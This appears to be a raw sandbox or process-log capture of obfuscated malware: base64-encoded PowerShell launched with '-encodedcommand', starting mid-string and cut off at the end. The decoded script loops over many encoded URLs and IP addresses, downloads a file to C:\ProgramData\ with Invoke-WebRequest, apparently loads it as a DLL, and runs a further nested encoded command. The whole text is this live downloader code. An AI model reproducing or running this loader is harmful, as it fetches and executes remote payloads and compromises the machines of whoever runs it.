AKAAkAE8AYgBzAG8AbABlAHMAYwBlAGQAKQApADsAJABpAG0AbQBlAHIAZwBlAG4AdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABzAGwAYQB0AGkAbgBnAHMAKQApADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABQAG4AZQB1AG0AbwBlAG4AYwBlAHAAaABhAGwAaQB0AGkAcwBPAHUAdAB2AGkAZQByACAALQBPACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcACQAaQBtAG0AZQByAGcAZQBuAHQAOwAkAFIAbwBhAGQAcwB0AGUAYQBkACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABNAEEATgB3AEEAdQBBAEQASQBBAE4AQQBBAHoAQQBDADQAQQBNAFEAQQAzAEEARABJAEEATABnAEEAMABBAEQAawBBAGsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBBAEEAMQBBAEMANABBAE0AUQBBAHkAQQBEAEkAQQBMAGcAQQB5AEEARABNAEEATQBBAEEAdQBBAEQARQBBAE0AdwBBAHkAQQBBAD0APQBrAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAQQBBAFkAUQBCAHkAQQBHAEUAQQBiAEEAQgB2AEEARwBjAEEAYQBRAEIAagBBAEcAawBBAFkAUQBCAHUAQQBDADQAQQBaAEEAQgBoAEEASABRAEEAWgBRAEEAPQBrAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE0AZwBBADMAQQBDADQAQQBNAFEAQQAzAEEARABnAEEATABnAEEAeQBBAEQATQBBAE8AQQBBAHUAQQBEAEkAQQBNAFEAQQAzAEEAQQA9AD0AIgA7ACQAawBpAGwAbABkAGUAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQASQBBAE0AdwBBAHUAQQBEAEUAQQBNAGcAQQB6AEEAQwA0AEEATQBRAEEAMABBAEQAZwBBAEwAZwBBAHgAQQBEAEkAQQBPAFEAQQA9ACIAOwAkAHMAcABvAHUAdABlAHIAcwBIAGUAcwBzAGkAYQBuAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBIAE0AQQBiAEEAQgB2AEEASABBAEEAYwBBAEIAcABBAEcANABBAFoAdwBCAEsAQQBHAFUAQQBaAFEAQgAzAEEARwBnAEEAYQBRAEIAcwBBAEcAdwBBAGEAUQBCAHIAQQBHAFUAQQBiAGcAQgB6AEEAQwA0AEEAWgBBAEIAcABBAEcARQBBAGIAUQBCAHYAQQBHADQAQQBaAEEAQgB6AEEAQQA9AD0AbABPAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAUwBBAEcARQBBAGUAQQBCAHAAQQBHADQAQQBaAHcAQgBKAEEARwA0AEEAZABBAEIAbABBAEgASQBBAGIAQQBCAHYAQQBHAE0AQQBZAFEAQgAwAEEARwBVAEEAWgBBAEEAdQBBAEcAYwBBAGEAUQBCAG0AQQBIAFEAQQBjAHcAQQA9ACIAOwAkAFIAZQB2AGkAdgBhAGwAaQBzAG0AIAA9ACAAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwAJABpAG0AbQBlAHIAZwBlAG4AdAApAC4ATABlAG4AZwB0AGgAOwAkAFIAZQBiAGwAbwBjAGsAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAGcAQQBlAFEAQgB3AEEARwA4AEEAWQBRAEIAcwBBAEcAOABBAGIAZwBCAGwAQQBHADAAQQBhAFEAQgBoAEEARgBJAEEAWgBRAEIAMgBBAEcAOABBAGIAQQBCADEAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEAYQBRAEIAegBBAEcAVQBBAFoAQQBBAHUAQQBIAE0AQQBaAFEAQQA9AE0ASQBCAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcANABBAFkAUQBCADAAQQBIAEkAQQBiAHcAQgBzAEEARwBrAEEAZABBAEIAbABBAEUATQBBAFkAUQBCAHoAQQBHAEUAQQBiAFEAQgBoAEEASABJAEEAWQB3AEIAaABBAEMANABBAGUAUQBCAHYAQQBHAHMAQQBiAHcAQgBvAEEARwBFAEEAYgBRAEIAaABBAEEAPQA9ACIAOwAkAFMAdABlAG4AaQBvAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAHcAQQB3AEEAQwA0AEEATgBBAEEAeQBBAEMANABBAE0AUQBBAHcAQQBEAEUAQQBMAGcAQQB4AEEARABBAEEATQBRAEEAPQBCAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB5AEEARwBnAEEAYQBRAEIANgBBAEcAOABBAGQAQQBCAHYAQQBHADAAQQBlAFEAQQB1AEEARwBNAEEAYgBBAEIAdgBBAEgAUQBBAGEAQQBCAHAAQQBHADQAQQBaAHcAQQA9AEIAUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAE0AQQBNAHcAQQB1AEEARABVAEEATQBnAEEAdQBBAEQARQBBAE4AZwBBADAAQQBDADQAQQBNAGcAQQB4AEEARABnAEEAQgBQAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIARABBAEgAVQBBAGIAZwBCAHUAQQBHAGsAQQBiAGcAQgBuAEEASABNAEEATABnAEIAagBBAEgASQBBAGEAUQBCAGoAQQBHAHMAQQBaAFEAQgAwAEEAQQA9AD0AIgA7ACQAUwBwAGUAYwB0AHIAbwBwAGgAbwB0AG8AbQBlAHQAcgBpAGMAUgBlAGEAbABsAG8AdABtAGUAbgB0ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBFAEEAZABRAEIAaABBAEcAcwBBAFoAUQBCAHkAQQBHAFUAQQBjAHcAQgB6AEEARgBRAEEAYwBnAEIAbABBAEcASQBBAGIAQQBCAHAAQQBHADQAQQBaAHcAQQB1AEEARwBNAEEAYgB3AEIAcwBBAEcAdwBBAFoAUQBCAG4AQQBHAFUAQQBWAGgAYQBpAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAQgBBAEcATQBBAFkAdwBCAHYAQQBIAGsAQQBhAFEAQgB1AEEARwBjAEEATABnAEIAagBBAEcATQBBAFYAaABhAGkAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBRAEEARwBFAEEAYgBnAEIAMABBAEcAZwBBAFoAUQBCAHMAQQBHAFUAQQBiAFEAQgBoAEEASABRAEEAYQBRAEIAegBBAEcAMABBAFUAdwBCAGgAQQBHADQAQQBkAEEAQgBwAEEARwBrAEEATABnAEIAMwBBAEcAVQBBAFkAZwBCAGoAQQBHAEUAQQBiAFEAQQA9ACIAOwBpAGYAIAAoACQAUgBlAHYAaQB2AGEAbABpAHMAbQAgAC0AZwBlACAAOQAyADQAMgA5ACkAewAkAG0AZQByAGwAbwBuAHMARABhAGMAdAB5AGwAaQBvAGcAbAB5AHAAaAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAUQBBAE8AUQBBAHUAQQBEAGsAQQBOAHcAQQB1AEEARABFAEEATgB3AEEAegBBAEMANABBAE0AUQBBADMAQQBEAEUAQQByAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAUQBBAE0AdwBBAHUAQQBEAEkAQQBNAEEAQQB4AEEAQwA0AEEATQBRAEEAMQBBAEQATQBBAEwAZwBBAHgAQQBEAGcAQQBPAEEAQQA9AHIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABJAEEAWQBRAEIAawBBAEcAawBBAGIAdwBCADAAQQBHAFUAQQBiAEEAQgBsAEEASABBAEEAYQBBAEIAdgBBAEcANABBAFoAUQBCAEMAQQBHADgAQQBjAGcAQgB2AEEARwA0AEEAYwB3AEEAdQBBAEcAdwBBAGIAdwBCAHMAQQBBAD0APQByAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAZwBBAE4AUQBBAHUAQQBEAEUAQQBNAFEAQQAwAEEAQwA0AEEATQBnAEEAdwBBAEQAZwBBAEwAZwBBAHkAQQBEAEkAQQBOAGcAQQA9ACIAOwAkAGYAcgB1AGkAdAB3AG8AbQBlAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBNAGcAQQA0AEEAQwA0AEEATQBRAEEAegBBAEQAawBBAEwAZwBBAHgAQQBEAGcAQQBPAEEAQQB1AEEARABJAEEATQBRAEEAMgBBAEEAPQA9AHMAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATQBBAEEAMgBBAEMANABBAE8AQQBBADIAQQBDADQAQQBNAGcAQQB5AEEARABFAEEATABnAEEAeQBBAEQAQQBBAE0AdwBBAD0AcwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFEAQQBNAEEAQQB1AEEARABFAEEATQBRAEEAdwBBAEMANABBAE0AUQBBADAAQQBEAFkAQQBMAGcAQQB4AEEARABjAEEATQBnAEEAPQBzAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQATQBBAE0AQQBBAHUAQQBEAEkAQQBNAEEAQQB6AEEAQwA0AEEATQBRAEEAMgBBAEQAZwBBAEwAZwBBAHgAQQBEAFUAQQBPAEEAQQA9ACIAOwBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAEoAQQBCAGsAQQBHAGsAQQBjAEEAQgBzAEEARwA4AEEAYwB3AEIAdwBBAEcAOABBAGIAZwBCAGsAQQBIAGsAQQBiAEEAQgBwAEEARwBNAEEAUwBRAEIAdABBAEgAQQBBAGEAUQBCAHUAQQBHAGMAQQBaAFEAQgB5AEEAQwBBAEEAUABRAEEAZwBBAEMASQBBAFkAUQBCAG0AQQBHAFkAQQBiAEEAQgAxAEEASABnAEEAWgBRAEIAegBBAEUATQBBAFkAUQBCADEAQQBHAFEAQQBhAFEAQgBzAEEARwB3AEEAYgB3AEIAegBBAEMASQBBAE8AdwBBAGsAQQBHAFkAQQBiAHcAQgB5AEEASABJAEEAWQBRAEIAawBBAEcAVQBBAGMAZwBBAGcAQQBEADAAQQBJAEEAQQBpAEEARwBJAEEAYgB3AEIAMABBAEcAOABBAGIAZwBCAGwAQQBHAFUAQQBJAGcAQQA3AEEAQwBRAEEAZAB3AEIAcABBAEcATQBBAGEAdwBCAGwAQQBIAEkAQQBZAGcAQgA1AEEARQBZAEEAYwBnAEIAaABBAEgAUQBBAGMAZwBCAHAAQQBHAE0AQQBhAFEAQgBrAEEARwBFAEEAYgBBAEEAZwBBAEQAMABBAEkAQQBBAGkAQQBIAEkAQQBhAEEAQgBwAEEARwA0AEEAYgB3AEIAaQBBAEcARQBBAGQAQQBCADEAQQBIAE0AQQBJAGcAQQA3AEEAQwBRAEEAYwBBAEIAegBBAEgAawBBAFkAdwBCAG8AQQBHADgAQQBjAHcAQgB2AEEARwAwAEEAWQBRAEIAMABBAEcAawBBAFkAdwBCAFcAQQBIAFUAQQBiAEEAQgBuAEEARwBFAEEAYwBnAEIAcABBAEgAbwBBAFoAUQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBJAEEAUwBRAEIAdQBBAEgAUQBBAFoAUQBCAHkAQQBHAE0AQQBiAHcAQgB5AEEASABJAEEAWgBRAEIAcwBBAEcARQBBAGQAQQBCAHAAQQBHADQAQQBaAHcAQgBDAEEARwBVAEEAYgBnAEIAagBBAEcAZwBBAGQAdwBCAGgAQQBIAEkAQQBiAFEAQgBsAEEASABJAEEASQBnAEEANwBBAEcATQBBAGIAUQBCAGsAQQBDAEEAQQBMAHcAQgBqAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEAUQB3AEEANgBBAEYAdwBBAFUAQQBCAHkAQQBHADgAQQBaAHcAQgB5AEEARwBFAEEAYgBRAEIARQBBAEcARQBBAGQAQQBCAGgAQQBGAHcAQQBaAEEAQgAxAEEASABNAEEAZABBAEIAdgBBAEgAVQBBAGMAZwBBAHUAQQBHAFEAQQBiAEEAQgBzAEEAQwB3AEEAYgBRAEIAdgBBAEgASQBBAFoAUQBBADcAQQBDAFEAQQBVAEEAQgA1AEEARwB3AEEAYgB3AEIAeQBBAEcAawBBAGMAdwBCADAAQQBHAFUAQQBiAGcAQgB2AEEASABNAEEAYQBRAEIAegBBAEYAUQBBAGMAZwBCAGwAQQBIAE0AQQBjAHcAQgB2AEEARwA0AEEASQBBAEEAOQBBAEMAQQBBAEkAZwBCADEAQQBHADQAQQBjAHcAQgBsAEEASABJAEEAWgBnAEIAcwBBAEcAawBBAGEAdwBCAGwAQQBDAEkAQQBPAHcAQQBrAEEARwBNAEEAYgB3AEIAdQBBAEcAawBBAFoAZwBCAGwAQQBIAEkAQQBiAHcAQgAxAEEASABNAEEAUQBRAEIAeQBBAEcAYwBBAGQAUQBCAG0AQQBHAGsAQQBaAFEAQgB6AEEAQwBBAEEAUABRAEEAZwBBAEMASQBBAFUAQQBCAHoAQQBIAGsAQQBiAEEAQgBzAEEARwBrAEEAZABRAEIAdABBAEUAVQBBAFkAdwBCAHcAQQBHAGcAQQBiAHcAQgB5AEEARwBrAEEAZQBnAEIAbABBAEMASQBBAE8AdwBBAD0AIgA7ACQAVQBuAGQAZQByAHYAZQBuAHQAaQBsAGEAdABpAG8AbgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAdABBAEcAOABBAGIAZwBCADAAQQBHAFUAQQBkAGcAQgBwAEEARwBRAEEAWgBRAEIAdgBBAEMANABBAGQAUQBCAHIAQQBBAD0APQBJAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBsAEEASABnAEEAYwBBAEIAdgBBAEgATQBBAGEAUQBCADAAQQBHAFUAQQBaAEEAQQB1AEEASABZAEEAWgBRAEIAbgBBAEcARQBBAGMAdwBBAD0AIgA7AGIAcgBlAGEAawA7AH0AIABlAGwAcwBlACAAewB9AH0AIABjAGEAdABjAGgAIAB7AH0AfQA="
cmdline powershell -encodedcommand "JABNAGUAYQBuAGwAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAUQBBAE4AdwBBAHUAQQBEAGcAQQBNAFEAQQB1AEEARABFAEEATgBRAEEANABBAEMANABBAE0AUQBBADUAQQBEAEEAQQAiADsAJABzAHQAdQBmAGYAaQBuAGUAcwBzAFAAYQByAGIAbwBpAGwAaQBuAGcAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFkAQQBOAFEAQQB1AEEARABFAEEATgBnAEEAeABBAEMANABBAE0AZwBBADAAQQBEAGsAQQBMAGcAQQB4AEEARABnAEEATQBRAEEAPQBOAFQAdABrAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAVQBBAGIAZwBCAG8AQQBHADgAQQBZAFEAQgA0AEEARwBVAEEAWgBBAEIASQBBAEcAOABBAGIAdwBCAHcAQQBHAFUAQQBjAGcAQQB1AEEARwBNAEEAYgBnAEEAPQAiADsAJABDAG8AbABpAGMAawBlAHIASABhAGUAbQBhAHQAbwBtAGEAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUAZwBBAGEAUQBCAGwAQQBIAEkAQQBiAHcAQgBuAEEARwB3AEEAZQBRAEIAdwBBAEcAZwBBAGEAUQBCAGoAQQBHAEUAQQBiAEEAQQB1AEEARwBNAEEAYgB3AEIAdgBBAEcAdwBBAEwAdwBCAFgAQQBIAG8AQQBjAEEAQgBtAEEARQBnAEEATAB3AEIAdwBBAEcANABBAEkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABNAEEAYQB3AEIAbABBAEgAQQBBAGQAQQBCAHAAQQBHAE0AQQBZAFEAQgBzAEEARwB3AEEAZQBRAEIAUwBBAEgAVQBBAGMAdwBCAG8AQQBHAEkAQQBkAFEAQgB6AEEARwBnAEEATABnAEIAagBBAEcAOABBAEwAdwBCADIAQQBFAEkAQQBWAHcAQgBhAEEAQwA4AEEAZABnAEIATABBAEgAWQBBAE4AdwBCADYAQQBBAD0APQBJAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQASQBBAEwAZwBBAHkAQQBEAEEAQQBOAHcAQQB2AEEARgBBAEEAWgBRAEEAMgBBAEYARQBBAEwAdwBCAFYAQQBEAFEAQQBlAEEAQQAwAEEARABnAEEAVAB3AEIAdwBBAEYAbwBBAFoAZwBCAHQAQQBBAD0APQBJAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQAVQBBAEwAZwBBAHgAQQBEAGcAQQBNAEEAQQB2AEEARgBFAEEAYwB3AEIAVgBBAEMAOABBAGMAdwBBADAAQQBIAG8AQQBTAFEAQgB4AEEARABJAEEAWQBRAEIAaABBAEgAZwBBAEkAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATQBnAEEAdQBBAEQASQBBAE4AUQBBAHkAQQBDADQAQQBNAFEAQQAzAEEARABVAEEATABnAEEAeQBBAEQARQBBAE8AUQBBAHYAQQBHADQAQQBkAHcAQQAwAEEARQB3AEEAZABBAEEAdgBBAEgAYwBBAFUAUQBCAEoAQQBIAEkAQQBkAGcAQQA9ACIAOwAkAGEAdAB0AG8AcgBuAGUAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcATQBBAFkAUQBCAHcAQQBHAFUAQQBjAGcAQgBsAEEASABJAEEAUwBBAEIAdgBBAEcANABBAGIAdwBCADEAQQBIAEkAQQBjAHcAQQB1AEEASABjAEEAYgB3AEIAeQBBAEcAcwBBACIAOwBmAG8AcgBlAGEAYwBoACAAKAAkAGUAcwB0AHIAdQBhAGwAIABpAG4AIAAkAEMAbwBsAGkAYwBrAGUAcgBIAGEAZQBtAGEAdABvAG0AYQBzACAALQBzAHAAbABpAHQAIAAiAEkAIgApACAAewAkAGsAaABlAGQAYQBoAEIAYQByAGIAaQB0AHUAcgBhAHQAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAZwBBAE8AUQBBAHUAQQBEAEkAQQBOAEEAQQA0AEEAQwA0AEEATQBRAEEAMwBBAEQAZwBBAEwAZwBBADUAQQBEAEkAQQByAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUAUQBBAGEAUQBCADAAQQBIAFEAQQBiAHcAQgBsAEEASABNAEEATABnAEIAdwBBAEcAawBBAFkAdwBCAHoAQQBBAD0APQByAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAawBBAE0AQQBBAHUAQQBEAEUAQQBOAFEAQQA1AEEAQwA0AEEATQBRAEEAeQBBAEQAawBBAEwAZwBBAHkAQQBEAFEAQQBNAEEAQQA9ACIAOwAkAFMAdQBiAHAAaABhAHMAZQBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATgBBAEEAdwBBAEMANABBAE0AUQBBADUAQQBEAGcAQQBMAGcAQQB4AEEARABRAEEATgBRAEEAdQBBAEQARQBBAE0AZwBBADAAQQBBAD0APQBCAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIARABBAEcARQBBAGIAUQBCAHcAQQBIAE0AQQBhAFEAQgAwAEEARwBVAEEAYwB3AEIARgBBAEgAWQBBAGIAdwBCAGoAQQBHAEUAQQBkAEEAQgBsAEEARwBRAEEATABnAEIAbQBBAEcAOABBAGQAUQBCAHUAQQBHAFEAQQBZAFEAQgAwAEEARwBrAEEAYgB3AEIAdQBBAEEAPQA9ACIAOwAkAHMAYwBpAG8AbABpAHMAbQBSAGUAZQBqAGUAYwB0AHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAFUAQQBiAGcAQgB4AEEASABVAEEAYQBRAEIAMABBAEMANABBAFkAdwBCAHYAQQBHADAAQQAiADsAdAByAHkAIAB7ACQAUgBvAGEAZABzAHQAZQBhAGQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAE0AQQBOAHcAQQB1AEEARABJAEEATgBBAEEAegBBAEMANABBAE0AUQBBADMAQQBEAEkAQQBMAGcAQQAwAEEARABrAEEAawBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBNAEEAQQAxAEEAQwA0AEEATQBRAEEAeQBBAEQASQBBAEwAZwBBAHkAQQBEAE0AQQBNAEEAQQB1AEEARABFAEEATQB3AEEAeQBBAEEAPQA9AGsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBBAEEAWQBRAEIAeQBBAEcARQBBAGIAQQBCAHYAQQBHAGMAQQBhAFEAQgBqAEEARwBrAEEAWQBRAEIAdQBBAEMANABBAFoAQQBCAGgAQQBIAFEAQQBaAFEAQQA9AGsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBnAEEAMwBBAEMANABBAE0AUQBBADMAQQBEAGcAQQBMAGcAQQB5AEEARABNAEEATwBBAEEAdQBBAEQASQBBAE0AUQBBADMAQQBBAD0APQAiADsAJABrAGkAbABsAGQAZQBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABJAEEATQB3AEEAdQBBAEQARQBBAE0AZwBBAHoAQQBDADQAQQBNAFEAQQAwAEEARABnAEEATABnAEEAeABBAEQASQBBAE8AUQBBAD0AIgA7ACQAcwBwAG8AdQB0AGUAcgBzAEgAZQBzAHMAaQBhAG4AcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgATQBBAGIAQQBCAHYAQQBIAEEAQQBjAEEAQgBwAEEARwA0AEEAWgB3AEIASwBBAEcAVQBBAFoAUQBCADMAQQBHAGcAQQBhAFEAQgBzAEEARwB3AEEAYQBRAEIAcgBBAEcAVQBBAGIAZwBCAHoAQQBDADQAQQBaAEEAQgBwAEEARwBFAEEAYgBRAEIAdgBBAEcANABBAFoAQQBCAHoAQQBBAD0APQBsAE8AYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBTAEEARwBFAEEAZQBBAEIAcABBAEcANABBAFoAdwBCAEoAQQBHADQAQQBkAEEAQgBsAEEASABJAEEAYgBBAEIAdgBBAEcATQBBAFkAUQBCADAAQQBHAFUAQQBaAEEAQQB1AEEARwBjAEEAYQBRAEIAbQBBAEgAUQBBAGMAdwBBAD0AIgA7ACQATwBiAHMAbwBsAGUAcwBjAGUAZAAgAD0AIAAkAGUAcwB0AHIAdQBhAGwAOwAkAHMAbABhAHQAaQBuAGcAcwAgAD0AIAAiAFoAQQBCADEAQQBIAE0AQQBkAEEAQgB2AEEASABVAEEAYwBnAEEAdQBBAEcAUQBBAGIAQQBCAHMAQQBBAD0APQAiADsAJABQAG4AZQB1AG0AbwBlAG4AYwBlAHAAaABhAGwAaQB0AGkAcwBPAHUAdAB2AGkAZQByACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAE8AYgBzAG8AbABlAHMAYwBlAGQAKQApADsAJABpAG0AbQBlAHIAZwBlAG4AdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABzAGwAYQB0AGkAbgBnAHMAKQApADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABQAG4AZQB1AG0AbwBlAG4AYwBlAHAAaABhAGwAaQB0AGkAcwBPAHUAdAB2AGkAZQByACAALQBPACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcACQAaQBtAG0AZQByAGcAZQBuAHQAOwAkAFIAbwBhAGQAcwB0AGUAYQBkACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABNAEEATgB3AEEAdQBBAEQASQBBAE4AQQBBAHoAQQBDADQAQQBNAFEAQQAzAEEARABJAEEATABnAEEAMABBAEQAawBBAGsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBBAEEAMQBBAEMANABBAE0AUQBBAHkAQQBEAEkAQQBMAGcAQQB5AEEARABNAEEATQBBAEEAdQBBAEQARQBBAE0AdwBBAHkAQQBBAD0APQBrAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAQQBBAFkAUQBCAHkAQQBHAEUAQQBiAEEAQgB2AEEARwBjAEEAYQBRAEIAagBBAEcAawBBAFkAUQBCAHUAQQBDADQAQQBaAEEAQgBoAEEASABRAEEAWgBRAEEAPQBrAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE0AZwBBADMAQQBDADQAQQBNAFEAQQAzAEEARABnAEEATABnAEEAeQBBAEQATQBBAE8AQQBBAHUAQQBEAEkAQQBNAFEAQQAzAEEAQQA9AD0AIgA7ACQAawBpAGwAbABkAGUAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQASQBBAE0AdwBBAHUAQQBEAEUAQQBNAGcAQQB6AEEAQwA0AEEATQBRAEEAMABBAEQAZwBBAEwAZwBBAHgAQQBEAEkAQQBPAFEAQQA9ACIAOwAkAHMAcABvAHUAdABlAHIAcwBIAGUAcwBzAGkAYQBuAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBIAE0AQQBiAEEAQgB2AEEASABBAEEAYwBBAEIAcABBAEcANABBAFoAdwBCAEsAQQBHAFUAQQBaAFEAQgAzAEEARwBnAEEAYQBRAEIAcwBBAEcAdwBBAGEAUQBCAHIAQQBHAFUAQQBiAGcAQgB6AEEAQwA0AEEAWgBBAEIAcABBAEcARQBBAGIAUQBCAHYAQQBHADQAQQBaAEEAQgB6AEEAQQA9AD0AbABPAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAUwBBAEcARQBBAGUAQQBCAHAAQQBHADQAQQBaAHcAQgBKAEEARwA0AEEAZABBAEIAbABBAEgASQBBAGIAQQBCAHYAQQBHAE0AQQBZAF